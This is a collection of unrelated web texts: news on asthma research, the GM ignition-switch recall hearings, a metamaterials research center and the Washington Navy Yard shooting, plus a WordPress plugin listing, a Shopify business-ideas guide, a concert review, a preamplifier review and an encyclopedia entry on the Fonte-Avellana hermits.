"We hope the results of this study will be useful to both researchers and health care providers to better treat and ultimately even prevent asthma in children," study co-author Dr. Aruna Chandran, of Johns Hopkins University Bloomberg School of Public Health, said.
About one in 12 U.S. children has asthma, according to the Centers for Disease Control and Prevention. It causes wheezing, difficulty breathing and coughing and can lead to permanent lung damage.
More information
The American Lung Association has more on asthma in children.
SOURCE: Henry Ford Health System, news release, May 17, 2021


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General Motors' new CEO and the head of the nation's auto safety watchdog are headed to Congress to testify about a defect in small cars that is linked to 13 deaths.
In written testimony released ahead of a Tuesday House subcommittee hearing, acting National Highway Traffic Safety Administration chief David Friedman says GM had information connecting defective ignition switches to the non-deployment of air bags, but didn't share it until last month.
GM CEO Mary Barra will also testify. Committee members will press Barra and Friedman to explain why neither the company nor the safety agency moved to recall millions of small cars with a defective ignition switch, even though GM knew of the problem as early as 2001.
"Sitting here today, I cannot tell you why it took years for a safety defect to be announced in (the small car) program, but I can tell you that we will find out," Barra said in prepared testimony submitted to the subcommittee.
GM has recalled 2.6 million cars for the faulty switch. That recall prompted GM to name a new safety chief and review its recall processes.
GM continued its efforts to show regulators and consumers that it is more focused on safety, announcing the recall of 1.5 million more vehicles on Monday for a power steering problem.
With Monday's recall, GM has now recalled 6.3 million vehicles since February. GM estimates the actions will cost it $750 million.
The House hearing – and a separate one Wednesday before a Senate subcommittee – will likely be tense and emotional. At least a dozen family members of victims will attend, wearing blue shirts featuring a photo of 16-year-old Amber Marie Rose, who was killed in a 2005 Cobalt crash, and the words "Protect Our Children."
Barra will apologize for the loss of life, but may try to limit her answers to Congress, citing an ongoing internal review and government investigations.
"When we have answers, we will be fully transparent with you, with our regulators, and with our customers," she said in the prepared testimony.
That could test the patience of committee members, who will want to know immediately why GM failed to protect its customers in this case.
Laura Christian, birth mother of Amber Marie Rose, a teenager who died in a 2005 Maryland crash involving a Chevrolet Cobalt, said about 30 family members met with Barra and two GM attorneys Monday night.
All got a chance to tell their stories to GM's new CEO, but Christian said they got little reaction. "A lot of, `I'm so sorry, I'm so sorry,' " Christian said.
GM would not comment on details of the meeting.
Congress also wants to know if it needs to strengthen a 2000 law intended to improve communication between automakers and the government.
Here are some questions lawmakers are likely to ask Barra and Friedman, and why:
Q: Why did it take so long to recall these vehicles?
GM's own timeline, provided to the government, indicates that it knew as early as 2001 that there were problems with the ignition switch in the Saturn Ion. That switch was later used in the Cobalt and other cars. GM eventually learned of accidents and fatalities linked to the switch, and conducted multiple reviews. Yet the cars were only recalled this year. Barra will need to explain why GM didn't act sooner.
Q: Why was a proposed fix never implemented?
According to a timeline prepared by the House subcommittee, GM engineers developed a fix for the switch in 2004, but it was canceled in 2005 because of its long lead time and cost. Engineers also devised a new key design that would prevent the key from falling out of the ignition, which caused the engine to stall. The fix was approved but later canceled. Lawmakers will want to know why, and who was involved. Barra may not be willing to name names at this point. She has said she only learned of the problem last December, shortly after being named CEO.
– Q. Shouldn't GM tell owners to stop driving the recalled cars until they are fixed?
GM insists that the cars are safe as long as owners remove anything extra from their key chains, to avoid weighing down the ignition switch. And dealers have permission to give loaner cars to concerned customers until GM can fix their cars. Sen. Richard Blumenthal, D-Connecticut, who sits on the Senate subcommittee, is among those calling for GM to make a stronger statement and tell owners to stop driving their cars immediately.
– Q. Why didn't NHTSA open an investigation, which is often the first step toward a recall?
As early as 2005, the agency had numerous consumer complaints, service bulletins GM sent to dealers describing the ignition problems and data from a fatal crash in Maryland. And in late 2007, one official recommended investigating reports that air bags in the cars weren't deploying. An agency panel decided against that because it said a trend wasn't evident.
– Q. Did NHTSA get enough information from GM?
Safety regulators have sent GM a special order to get more information on the recall, but the automaker's response isn't due until Thursday.
In his remarks, Friedman says the agency would have ordered the recall if it had the information GM provided only recently. But safety experts say there was other available information at the time that warranted a recall.
– Q. Does NHTSA have the staff and expertise to deal with the volume of data it's getting?
After the Ford-Firestone tire recall in the late 1990s, Congress required automakers to report more information to the government about possible defects. NHTSA also gets more than 40,000 complaints per year from drivers. Lawmakers want to know if they agency has the resources to do its job.


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Apr 13, 2011 | |
Grove School professor leads new metamaterials center |
(Nanowerk News) A new National Science Foundation-sponsored industry & university cooperative research center program (I/UCRC) will "provide a one-stop shop for the design, fabrication and testing of a wide range of metamaterials." Dr. David Crouse, associate professor of electrical engineering in the Grove School of Engineering at The City College of New York, serves as director of the new Center for Metamaterials. | |
Participating institutions are The City University of New York, Western Carolina University, University of North Carolina at Charlotte and Clarkson University. At least 15 corporations, including Raytheon, Lockheed Martin, Corning and Goodrich, will become members of the center, which has NSF funding for five years, renewable, as well. First year support - $230,000 from NSF plus $40,000 from each of the companies – is expected to be around $740,000, according to Professor Crouse. | |
Obtaining the award to create the new Center took several years and involved several stages and numerous people at CUNY and the other schools. They include Dr. Myron Wecker and Dr. John Blaho, of the CUNY Center for Advanced Technology (CUNY-CAT), CUNY Vice Chancellor for Research Gillian Small and the co-directors from the three other institutions: | |
"Metamaterials have capabilities beyond normal materials," Professor Crouse explains. "The best known examples are cloaking devices that allow light to wrap around an object, creating the perception of invisibility. Numerous other examples can be found in renewable energy and sensors." | |
Researchers at the I/UCRC Center for Metamaterials will focus on fundamental research concepts that are limiting the application and implementation of metamaterials to commercial products. For example, by controlling the composition of a material it may be possible to produce super lenses with near-perfect resolution. | |
The Center's research thrusts will encompass fundamental metamaterials research including: | |
NSF-supported I/UCRC centers conduct pre-competitive fundamental research. The companies that participate in the center direct the research thrusts and receive royalty-free, non-exclusive licenses to the intellectual property the center produces. | |
Professor Crouse also serves as director of the CUNY Center for Advanced Technology (CUNY-CAT), which is supported by the State of New York and conducts research leading to product commercialization. The three other institutions in the Center for Metamaterials have programs similar to CUNY-CAT, he notes. | |
"We want the Center for Metamaterials to be a feeder for concepts and projects that graduate into more applied development with our CAT program and the other organizations, eventually leading to commercialization and economic impact," he adds. | |
Professor Crouse's metamaterials research laboratory at CCNY performs numerous applied metamaterials research and development projects. He also conducts research for Phoebus Optoelectronics, a metamaterials company he co-founded. | |
While the Center for Metamaterials research thrusts are on fundamental research concepts, the thrusts of Professor Crouse's laboratory and Phoebus are applied research and the development of metamaterials devices with high commercialization potential. | |
Two areas of particular interest to him are: renewable energy and sensors. "The typical solar cell has low efficiency, but we can do things to improve their efficiency or lower their cost to make them more competitive with fossil fuels," he says. | |
Placing thin metamaterial films over silicon panels would allow solar light to pass through to silicon surfaces unblocked. The same film would capture the electricity produced by those surfaces. This could raise efficiency of terrestrial solar cells, now made with embedded thin metal strips, from 17 percent to 21 percent, he adds. Because the film would spread light laterally across the cell, thinner silicon wafers could be used, which would reduce the cost. | |
Three projects currently underway at Professor Crouse's laboratory involve creation of metamaterials for a hydrogen-powered generation device, biofuel-powered generation and splitting light so it could be directed to specific locations on a device. "It could be that different materials respond better to different elements of the spectrum," he explains. "We could create a light harvester that would direct different elements to where they would be used most efficiently." | |
The sensor projects, being conducted with NASA and DARPA (Defense Advance Research Projects Agency), aim to produce lightweight polar image metric sensors capable of measuring light's intensity, color and polarization or orientation. "If you can see the orientation of light, you can detect many properties of an object," he continues. | |
"For example, NASA scientists could detect and analyze the chemical composition of different kinds of pollutants." Current sensor technology is fragile and heavy and has poor resolution, he adds. |
Source: National Nanomanufacturing Network |


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Menjual Code Shop – WordPress Plugin
Code Shop is a powerful WordPress plugin, which allows you to sell coupon/voucher/license codes directly on your website. It handles payments through multiple payment gateways (PayPal, Payza/AlertPay, Skrill/Moneybookers, Authorize.Net, InterKassa, BitPay, Blockchain.info, PerfectMoney and Stripe) and can be easily integrated into WordPress pages using shortcodes. It also accept bitcoins using Blockchain.info API. Code Shop is the easiest and perfect way to distribute coupon/voucher/license codes and monetize website.
- Add "Terms & Conditions" checkbox to payment form.
- Integration with WordPress-native Personal Data Tools.
- Sell coupon/voucher/license codes on website: use this plugin to sell codes on your website.
- Unlimited number of campaigns: distribute unlimited number of coupon/voucher/license codes.
- Multiple payment gateways: PayPal, Payza/AlertPay, Skrill/Moneybookers, Authorize.Net, InterKassa, BitPay, Blockchain and Stripe.
- Multiple currencies: use any currencies supported by payment gateways.
- Accept cryptocurrency – bitcoin: bitcoin payments are accepted through BitPay or using Blockchain.info API.
- Accept major credit/debit cards – Visa, MasterCard, American Express: credit/debit cards are accepted through Stripe.
- Fixed price supported: set fixed price of coupon/voucher/license codes.
- Flexible price supported: let your customers set their own price for coupon/voucher/license codes.
- Free coupons supported: you can distribute coupons even for free.
- E-mail delivery: coupon/voucher/license codes are sent by e-mail.
- Modern payment form: HTML5 + CSS3, AJAX-ed payment form.
- Content editor: insert any HTML-content inside of payment box.
- Shortcode driven: insert shortcodes like
[codeshop id="XXX"]
. - Easy to install: install and activate the plugin like any other plugins.
- Translation ready: plugin might be translated to any language.
- WordPress Best Practices: no any alerts from Plugin Check and WP_DEBUG.
The best way to understand the idea of Code Shop is to see live example. Click "Live Preview" or visit demo link. On demo website you can purchase or/and download coupons.
- Install and activate the plugin like you do with any other plugins. Once activated, it will create a menu "Code Shop" in left side column in the admin area.
- Click left side menu "Code Shop >>> Settings" and do required settings. Set your payment gateways parameters, e-mail address for notifications, etc.
- Click left side menu "Code Shop >>> Campaigns" and create at least one campaign.
- Click left side menu "Code Shop >>> Codes" and add coupons/vouchers/license codes to campaigns.
- Take shortcode from "Code Shop >>> Campaigns" and paste one into your post/page. The shortcode is like that:
[codeshop id="XXX"]
That's it! Enjoy using the plugin.
If you have problems regarding using the plugin, please contact me and I'll help you.
[Version 2.35 - 2020-10-15] - Added automatic update.


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Having a solid, growth-oriented foundation for business or entrepreneurship is great – but now what? You probably need a work desk, an internet package, some apps, and, of course, a business idea to get off the ground.
The problem? Good business ideas are hard to come by.
How hard? Nine out of ten startups fail.
And while there's a lot of talk about how the people executing make or break a business, your idea is important. Even with the right mix of entrepreneurial skills, you're unlikely to be successful without a good idea.
Ideas are where it all begins, and in order to become an entrepreneur you need to find a promising business opportunity, and then know whether you'll be able to permanently escape from the 9-to-5 grind.
If you're aware of the challenges and you're still dead-set on practicing entrepreneurship, use the tips and strategies in this chapter as a jump-off point to spark your own business ideas.
In this chapter, we'll talk about:
- Imagining your ideal work day
- Finding a problem to solve
- How to choose between a product-based and service-based business
- Choosing your profitable business idea
Let's jump in.
Start selling online now with Shopify
Start your free trial1. Imagine your ideal work day
The first step is to sit down and imagine your ideal work day five years from now. How is this helpful? Well, you'd be amazed by the number of people who aren't passionate about their work or the number of people who've shared their aspirations for living a location-independent lifestyle but don't actually want to spend time away from their families. You certainly don't want to end up in the same boat.
→ Click Here to Launch Your Online Business with Shopify
The aim of this exercise is for you to drop any ideas you might already be attached to and ask yourself – what do I really want out of entrepreneurship? This will help you figure out the best business to start in order to feel fulfilled.
Do you want to finish the day's work before noon? Where do you see yourself living? Essentially, you are creating a roadmap in terms of what your professional life will be like.
Because we want this to be inspirational to you, we listed all the possible questions you could ask yourself at this stage in an Excel worksheet.
[highlight]You can access and fill it in here, along with the other templates and worksheets from this ebook.[/highlight]
Answer all the questions you find relevant. By doing so, you should be able to better imagine your ideal work day and see whether any business ideas you've thought of align with what you want your professional life to be like. Scrap the ones that don't line up because they aren't going to make you any happier.
For example, if you can't live away from home, the idea of becoming a travel consultant wouldn't be viable. That's because travel consultants are known for their authentic, real-world knowledge of different destinations, and that comes with going to those places.
2. Find a problem to solve
Now that you have a rough idea of your ideal working day (and a few business ideas), it's time to discover a problem to solve.
No matter your skills, product genius, or sales and marketing chops, at the end of the day, your success as an entrepreneur hinges on your ability to solve problems.
Not just any problem, but a recurring one. Something that your target audience has to deal with all the time, and makes them wish that there was something available to make their lives just a tad bit easier.
Random question: Have you ever spent too much time searching and trying invalid, expired, or fake coupon codes while you're shopping online?
The founders of the LA-based browser extension startup Honey had the same problem, and they came up with a solution that made it easy for shoppers to find eligible coupon codes before checkout. To date, Honey has raised $40.8 million in funding, and the browser extension has been downloaded over 5 million times on FireFox, Safari, and Chrome.
Hence, a great way to expand your list of business ideas is to find problems that need solutions. Below we share a couple of tactics that actually yield solid results.
Use Quora
Quora is a hugely popular Q&A site that lists questions from various categories, making it easy to spot patterns.
Within Quora, you can subscribe to different categories or follow Spaces (communities and collections set up around shared tastes and interests) to find dozens of questions related to your niche. It's almost as if your target audiences' problems are served to you on a silver platter, waiting to be addressed.
To get started on Quora, enter a keyword related to your interest/passion in the search bar at the top. In the example below, we searched 'water sports.'
Quora will then present you with a list of topics around that niche. Your next step is to find patterns within your results, and then brainstorm solutions.
In the above example, we happened to identify a pattern that gave us a business idea. One of the individuals is asking if there's any non-water exercise that could help a person replicate the advantages of surfing.
While there are lots of such exercises, an entrepreneur could easily market suspension training bands to this demographic. They could ask a supplier in China to make these bands or use a dropshipping supplier for the purpose.
Another interesting aspect of Quora is its 'related questions' feature. Whenever you click on a question, Quora will take you to a separate page that lists related questions in the sidebar.
You can browse through these questions to identify additional trends, thereby eliminating some research work.
Once you have spotted a few worthwhile patterns within each category, start thinking about the potential solutions. Repeat this process until you have 20 or more business ideas from Quora.
Note: Jot down every idea you extract from Quora in a journal. Do the same for the ideas you had left after imagining your ideal work day. This will make it easier for you to remember them, as well as ensure you have a list ready for validation.
Browse through the comments section of popular websites
On popular websites, the comments area is usually full of questions from people who regularly visit those sites. Sometimes, these individuals want to know more about the subject of an article, and sometimes they have interesting questions for the website owner.
With that said, here's some advice so you don't waste hours scouring the websites, checking every article, and finding that many of them didn't get comments:
Use BuzzSumo or another similar content analyzer to find the most popular posts on a website.
The results presented by these tools are a list of most popular posts on a website based on social media engagement. If the post has many shares, it will usually have a red-hot comments section as well.
In our example, we searched for popular posts on Social Media Examiner, one of the world's most popular online social media magazines.
BuzzSumo returned a list containing Social Media Examiner's most popular blog posts. As we had anticipated, they have loads of comments.
You can replicate this strategy by searching for a popular website in your niche and going through the comments section of its most shared blog posts.
Though you may not be able to generate as many good business ideas as you can with Quora, you might be able to find a gem or two to add to your journal.
3. Choose between products and services
You've got some ideas about your own personal desires and some problems that need fixing.
Now we'll narrow the playing field a bit more: choosing whether to start a product-based venture or sell business services.
The main difference between the two is that the product-based venture involves selling a physical item, while business services are intangible. Both types can be very profitable, and there are loads of successful entrepreneurs who've managed to become millionaires with both product-based and service-based companies.
But as with anything, there are pros and cons to consider before getting started.
Launching a product business
Starting your entrepreneurial journey with a product business can require more time. Whether you choose to keep your own inventory or take the dropshipping route, you are ultimately responsible for your products' quality, as well as figuring out what to do with returns.
Also, the R&D costs of building a product from scratch can be quite high (prototypes for innovative business ideas can cost upwards of $100,000!).
But it's not all bad with product businesses.
When you launch a product, you just have to build or source it once, and then if successful, you can make money selling the same product as many times as consumers want it and keep searching for it.
Also, it's usually easier to convey the benefits of a product and the influence it can have in a short span of time. If you have a bad posture and buy a posture corrector, for instance, you will know if the product works for you within 15 minutes.
There are several successful entrepreneurs who've made a solid living selling products. However, you have to be wary of the logistics involved, and be ready to jump through a few hoops.
Launching a service business
Starting a service business can be easier in some ways. For one thing, you won't have to invest as much money upfront than with a product business. Online services, like freelance writing and graphic design, require just a computer, an internet connection, and skill.
Simply put, you can take your capital and put it into marketing rather than into stock, getting the word out and bringing money in.
However, you can find it difficult to explain your service to potential customers. In fact, the audience you pitch to may not be able to visualize what you do. You can counter this somewhat by highlighting how your service could save them time and money, but even then you may have to frequently rearticulate its value.
Also, much of your success will be up to you, so it's you who's going to go the extra mile to increase the sales of your business, not anyone (or anything) else.
Depending on where you choose to offer a service, you might need an office and a small team to make it happen. Launching and working out of your home usually means lower overhead and growing with a team of freelancers, if you can swing it.
Business ideas for ecommerce entrepreneurs
Now that you're aware of the differences between product-based and service-based businesses, how about working out your idea muscle?
While you probably already have some really good business ideas in your journal to work on, you might have missed out on certain business opportunities that are in demand, easy to start, and can be fruitful.
To ensure you don't miss out on any viable ventures, we've created a huge list of 50 online and in-person businesses that you could start as an entrepreneur.
We've also categorized each idea for business type (whether it involves selling a product or service). As you review, keep in mind that some of these ideas can be done online from the comfort of your bed, while others will require setting up a physical store or presence to interact in-person with customers.
Business Type | Business idea |
Service-Based | Graphic designer |
Freelance writing | |
English teaching | |
Dog walking | |
Web development | |
Tour guide company | |
Makeup artist | |
Social media manager | |
Mobile app development | |
SEO consultant | |
Image optimizer | |
Language translation | |
Professional drone flyer | |
Digital ad campaign manager | |
Proofreader | |
Voice-over artist | |
SaaS (software-as-a-service) | |
Fitness instructor | |
Event company | |
Gardening business | |
Career counselor business | |
Business coaching | |
Fact researcher | |
Product reviewer | |
Lead generation expert | |
Website flipping professional | |
Virtual assistant | |
Tax consultant | |
Outsourcing service provider | |
Product-based | Musical instrument shop |
Food truck | |
Print retailing | |
Gifts box shop | |
Ecommerce store | |
IT equipment wholesale | |
Organic bakery | |
Handmade crafts company | |
Furniture company | |
Laptop parts retailing | |
Second-hand car retailing | |
Video game shop | |
Book store | |
3D printing manufacturing | |
Picture frame maker | |
Plush toy retailing | |
Coin dealer | |
Ice cream shop | |
Import/export company | |
Bike rentals company | |
Wedding dress shop |
Start selling online now with Shopify
Start your free trial4. Pick your most promising business idea
The last step is integral to the entire four-step approach, as this is where you identify the best business to start. The ideal business will be the one that meets the following criteria:
Profitability: Can give a good return on your investment
You want to pick an idea that has the biggest odds of becoming a cash cow for you. We did a lot of exercises on trying to find an idea that meshes well with your interests and passions, but of course, you'll need to balance that outlook with viability.
Possibility: Is easy for you to execute
This is crucial if you're planning to bootstrap or create a side hustle, or if you don't want to invest in resources for the time being. If that's you, choosing something that'll require a ton of capital right off the bat is setting yourself up for disaster. If you're looking into tutoring, for instance, you could start an online business where you deliver lectures over Skype. It'd require less capital than if you were to start with an offline academy.
Interest: Aligns with what you enjoy
Preferably, it should be something you see yourself working on for the next few years at least, so your idea has to be something that's not only going to bring in money but something you'll enjoy doing as well.
Take the top 10 ideas you generated throughout this chapter, and organize them into three lists:
- Most to least profitable ideas
- Most to least possible ideas
- Most to least interesting ideas
Then cross-examine these ordered lists to see which ideas rank high for all three categories.
At the end of this process, you should have at least a couple of business ideas that you can really start working on tomorrow, if you wanted to.
The next chapter is all about validating your business ideas, so you don't waste your money and time launching something that nobody wants.


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Latest Article|September 3, 2020|Free
::Making Grown Men Cry Since 1992
2 min read
Cleveland rapper Scott Mescudi (aka Kid Cudi) has been pioneering a style of emotionally raw, singsongy hip-hop ever since the release of his 2008 mix tape, A Kid Named Cudi . His songs are club-friendly, life-celebratory anthems just as often as they are meditative stoner jams. He doesn't seem to be swayed by the conventions of radio hip-hop, yet he's arguably the genre's foremost figure in terms of bridging the gap between the underground sound and mainstream airwaves.On Saturday, June 25, the man who moonlights as "Mr. Rager" played a show for more than 6,500 folks at Hard Rock Pavilion. It was his first trip to New Mexico, and he certainly felt the fan approval. "I've never been to Albuquerque, I've never been to New Mexico," he told the crowd. "I did not know that there was this much love for me in this state." Cudi's second studio album, Man on the Moon II: The Legend of Mr. Rager , was released in November.Cudi played for about two hours. At one point, he brought out Cage, a psychedelic death rapper of early-aughts underground fame, who helped Cudi out on a track and did a solo bit as well. Cudi also threw in a Hendrix cover and—for the better part of the show—danced his ass off.


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Threshold FET 10 preamplifier
This product is a pre-trol. What, you may well ask, is a "pre-trol?" Well, Threshold Corp. calls its FET-10 a preamplifier, but it isn't, really. In fact, it isn't an It at all; it's a Them. Only half of Them is a preamp, and you can buy each half separately. If that sounds a little confusing, maybe it's because some of the old, familiar language of audio is starting to lose its relevance.
Once upon a time, in the dark ages before magnetic pickup cartridges, that part of an audio system that controlled everything—input switching, volume, bass and treble—was called the control section. When the control section became physically separated from the power amp, so you could put one on a shelf and the other out of the way, the control section became a control unit. Then came the revolutionary General Electric variable-reluctance magnetic pickup, along with the need for pre-amplification and a new concept in home hi-fi: playback equalization. Ever since then, every control unit has included a preamp section, and has been known as a preamplifier or preamp unit. Until now.
The enthusiastic public acceptance of CD, and the waning of LP's popularity, is making a preamp stage superfluous for increasing numbers of audiophiles, who balk at the idea of paying $3000 or more for a full-featured preamplifier in which perhaps half of the cost may be tied up in a no-holds-barred phono preamp stage they will never use. They have continued to pay the price, grudgingly, because they had no choice. Now they are getting that choice.
I don't know who did it first, but Audio's 1986 Equipment Directory lists five "preamplifiers" which aren't—from Cello, dB Systems, Motif, Threshold, and Strelioff—but are instead dedicated high-level control units, including a line-level output buffer amp but lacking a phono preamp section. The Mod Squad's Line Drive unit (reviewed by AHC in Vol.10 No.3) even omits the output buffer amp. Undoubtedly, more such will follow, increasingly underscoring the need for a return to the old way of talking about things that control audio signals. Since some of those things no longer contain preamps, but all are signal controllers, the term "control unit" is going to have to come back into use. The alternative is to call them PWPs—preamps without preamps, which is just silly enough that it will probably catch on (sorry I suggested it!).
Then, with one unit unambiguously called the "controller," its companion piece, for the reactionary LP fringe, would, naturally, be called a "preamp." Nice and tidy! Except...What do we then call a preamp plus a controller plus a preamp, such as Threshold's FET-10? Logically, a "control preamp," which is clumsy at best. Hence my coining of the term "pre-trol," which is only a little less clumsy. If anyone has a better suggestion, I'd be happy to hear it.
Another term suffering increasing ambiguity these days is "audio." Stereophile readers automatically think of audio as music reproduced from records. But video sources also have accompanying sound (or audio), and a lot of that sound is more or less musical. So, how does one make a verbal distinction between audio audio and video audio?
In a combined music and video system, a plug or receptacle marked "audio" could be for a CD, a phono, or a video source. Threshold makes the necessary distinction by marking one input to their FET-10/H "Video Audio." This is awkwardly polysyllabic, and takes up too much label space besides. What we need is a single short, snappy word to describe this. Like "vaudio." Okay, so it's ugly sounding, but certainly no more so than eigentone, gigaHertz, or litzendraht—any one of which sounds like exotic profanity. The word "vaudio" says exactly what we want it to say—succinctly, trisyllabically, and in only six letters. (It's also a high scorer in Scrabble.) All it takes is getting used to.
The Threshold
Which brings us back to the Threshold FET-10. It consists of two matching units: a controller which handles only high-level signals, and a dedicated, control-less preamplifier for phono cartridges. They are identical in shape and size, designed to stack neatly one atop the other, and use identical outboard 15V power-supply boxes with enough wire in between (five feet) to allow the supplies to be placed where they won't radiate hum into the preamp unit (assuming you use it). If you don't own an old-fashioned electro-mechanical LP player, the controller is all you will ever need in order to listen happily to CDs, cassettes, open-reel tapes, FM broadcasts, video sound (vaudio), or an auxiliary. If you insist on clinging to the past, just add the preamp unit to the controller. If you don't, you pay only for what you need.
As you can see from the controller's input lineup above, it provides just about every control and all the input connections a serious audiophile could want. The only things missing are Mute, Phase Invert, and Bypass settings, whose utility for routine use is arguable. The preamp unit, on the other hand, looks like your basic Black Box (in brushed aluminum), with one pair of inputs, one pair of outputs, and nothing on the front panel but Threshold's logo medallion. The preamp, however, is much more sophisticated than it looks.
Having just rhapsodized over (and questioned) the plethora of cartridge-tailoring adjustments in the Klyne SK-5A preamplifier as though they were something unique, I now find that the FET-10 is almost as versatile as the Klyne. The Threshold also has switchable resistive and capacitive loading for the cartridge, as well as adjustable preamp gain. Available by slide switches are resistive loads of 22, 47, 100, and 1000 ohms (all for MC cartridges), and 47k ohms for MMs. Available capacitive loads are 50, 100, 150, 250, and 1000pF (1nF). Gain is selectable at 40 or 60dB by moving small plug-in jumpers. All that's missing, relative to the Klyne, is the ability to plug in resistors or capacitors that aren't provided via switch selection.


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A suppressed order of hermits, which takes its name from their first hermitage in the Apennines. Its founder, Ludolph, the son of Giso, came of a German family that had settled in Gubbio. He was born about the year 956; in 977 he left his home and, with a companion called Julian, began to live the life of a hermit in a valley between Monte Catria and Monte Corvo, in the Apennines. This valley was known as Fonte-Avellana, from a spring among the pine-trees. Disciples soon gathered round the two hermits, by 989 they were sufficiently numerous to receive a rule from St. Romuald, who was then in that district. This rule seems to have been of great severity. The hermits lived in separate cells and were always occupied with prayer, study, or manual labour. Four days a week they ate nothing but bread and water in strictly limited quantities. On Tuesdays and Thursdays they added a little fruit and vegetables. Wine was used only for Mass and for the sick, meat not at all. They observed three "Lents" during the year, that of the Resurrection, that of the Nativity, and that of St. John the Baptist. During these they fasted on bread and water every day except Sundays and Thursdays, when they were allowed a few vegetables. They wore a white habit and their feet were bare. Every day in addition to the office, they recited the whole Psalter before dawn. Many wore chains and girdles or other instruments of mortification, and each, according to his devotion and strength, was accustomed to scourge himself, to make many genuflexions and to pray with arms extended in the form of a cross.
At first the body of hermits was known as the Congregation of the Dove, from the pure and gentle character of its founder, but then, about the year 1000, he built them their first regular hermitage, which was dedicated to St. Andrew, they soon became known as the Hermits of Fonte-Avellana. Ludolph is said by Ughelli to have resigned the office of prior in 1009 and to have become Bishop of Gubbio, but by leave of Benedict VIII he resigned this office in 1012 and retired again to his hermitage. It is not improbable that he was succeeded in the priorate by Julian about 1009, but there seems to be no satisfactory evidence that he was ever Bishop of Gubbio. He died in 1047. In 1034, St. Peter Damian became a hermit at Fonte-Avellana, at a time when, it is supposed, the famous Guido d'Arezzo was prior. St. Peter Damian succeeded to the office of prior about 1043 and held it until his death in 1072. He made some modifications of the rule; permitting the use of a little wine, except during the three Lents ; restraining the immoderate use of the discipline, which had outgrown all prudence ; and introducing the solemn observance of Fridays as a commemoration of the Holy Cross for which reason the hermitage, since the year 1050, was been known as Holy Cross of Fonte-Avellana.
During the priorate of St. Peter Damian several hermits of great sanctity were members of Fonte-Avellana. The earliest of these was St. Dominic Loricatus, so-called from the breastplate ( lorica ) which he always wore next to his skin. This extraordinary ascetic was born about the year 990 and was destined for the priesthood by his parents, who bribed a bishop to ordain him before the canonical age. After living for a few years as a secular priest, he was struck with contrition for the sin of simony to which he had teen a party and became a monk. This was probably at the hermitage of Luceoli, as we are told that he placed himself under the direction of John of Monte Feltro. Here he remained till about 1044, when, desiring to increase the severity of his penances, he came to Fonte-Avellana to be the disciple of St. Peter Damian . The record of his cuirass, he wore habitually iron rings and chains round his limbs, and loaded with this weight he daily prostrated himself a thousand times or recited whole psalters with arms extended in the form of a cross. Day and night he lacerated his body with a pair of scourges.
It had become the custom to regard the recital of thirty psalms while taking the discipline (i.e. about three thousand strokes) as equivalent to one year's canonical penance. So that to scourge oneself while reciting the whole psalter was to execute five years of penance. St. Dominic Loricatus is related to have accomplished in this manner one hundred years of penance (i.e. twenty psalters), spreading the penance over one week. And during one or two Lents he is said to have fulfilled in this way one thousand years of penance, scourging himself night and day for forty days while he recited no less than two hundred psalters. Daily he used to recite two or three psalters, and daily in Lent eight or nine. Meanwhile he ate only the stricter diet of his fellow-hermits and he never slept save when, from sheer fatigue, he fell asleep in the midst of his prostrations. In 1059 St. Peter Damian appointed him prior of the hermitage of Sanvicino, near San Severino. Here he continued his terrible penances up to his death about 1060. His body still lies under the altar in the church at Sanvicino. Another saintly companion of St. Peter Damian was his biographer, St. John II of Lodi ( Bishop of Gubbio ), when entered Fonte-Avellana about the year 1065 and became prior of the hermitage soon after the death of his friend in 1072, which office he retained till he was made Bishop of Gubbio, one year before his death in 1106.
In addition, there were the blessed brothers Rudolph and Peter, who in 1054 gave their castle at Campo Regio to St. Peter Damian and retired to Fonte-Avellana. Rudolph became bishop of Gubbio in 1059 and in that year attended a council at Rome. He died in 1061. Of his brother Peter little is known save that he lived a life of great mortification. Four years after the death of St. Peter Damian , Gregory VII in 1076 took the hermitage of Fonte-Avellana under the special protection of the Holy See, and for 250 years popes and emperors and nobles showered privileges upon it. In 1301 Boniface VIII subjected the hermitage immediately to the Holy See , and in 1325 John XXII raised it to the status of an abbey, and ordained that its abbots should always receive their blessing at the hands of the pope or of his legate a latere . In the early fourteenth century it had grown to be a great congregation with many subject houses. But the glory of Fonte-Avellana was soon to pass. In 1393 it was given in commendam to Cardinal Bartolomeo Mediavacca, and the evils that follow this practice soon appeared. Slowly the fervour of observance departed, and the religious lived rather like secular clergy than like hermits. By the sixteenth century the habit had changed, and they wore a short white cassock, a blue mantle, shoes, and a white biretta.
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In 1624 the great Camaldolese reformer, S. Paolo Giustiniani, suggested that the congregation of Fonte-Avellana should be united to his own order. The project then came to nothing, but in 1568 Cardinal Giulio della Rovere, the commendatory abbot of Fonte-Avellana, joined with his brother the Duke of Urbino in urging on Pius V the canonical visitation of the hermitage. This was performed early in 1569 by Giambattista Barba, general of the Camaldolese, and in November of the same year the pope by the Bull "Quantum animus noster", suppressed the order of Fonte-Avellana, transferred its members to Camaldoli or any other house they might choose, and united all its possessions under the jurisdiction of the Camaldolese Order. On 6 January, 1570, the Camaldolese solemnly entered into possession, and the order of Santa Croce of Fonte-Avellana ceased to exist.


text: [Breaking news update at 10:34 p.m. ET] Besides the 13 people who were killed, eight people were injured in Monday morning's shooting at the Washington Navy Yard, Washington Mayor Vincent Gray told reporters Monday night. Three of those were injured by gunfire, and the others had other types of injuries, such as contusions and chest pain. Earlier Monday night, Navy Vice Adm. William D. French said 14 people were injured. The 13 dead include suspect Aaron Alexis. Washington police are confident that only one person was involved in Monday morning's shooting at the Washington Navy Yard, and they are lifting a shelter-in-place order for residents who live nearby, Police Chief Cathy Lanier said Monday night. Authorities have said suspect Alexis, 34, was killed after an encounter with security. The ages of those who were killed in Monday morning's shooting at the Washington Navy Yard range from 46 to 73, Gray said. [Original story published at 9:20 p.m. ET] The FBI has identified the dead suspect in Monday's shooting rampage at the Washington Navy Yard as Aaron Alexis, a 34-year-old military contractor from Texas. But authorities are still searching for more information about him, and they're asking members of the public for help. "No piece of information is too small," said Valerie Parlave, assistant director in charge of the Washington FBI Field Office. "We are looking to learn everything we can about his recent movements, his contacts and associates." In addition to the gunman, authorities said at least 12 people were killed and 14 others were injured in the shooting, which put government buildings on lockdown and sent police SWAT teams rushing to the scene. The names of those killed, except for the suspected shooter, have not been made public, pending notification of their families. Live blog Even as the FBI ruled out any other shooters in the rampage at the headquarters for Naval Sea Systems Command, Metropolitan Police were trying to track down at least one person to determine whether that individual had any involvement. "We'll continue to seek information about what the motive is. We don't have any reason at this stage to suspect terrorism," Washington Mayor Vincent Gray told reporters, "but certainly it has not been ruled out." The other possible suspect was described by police as a black male, between 40 and 50, wearing an "olive drab-colored" military-style uniform. "We 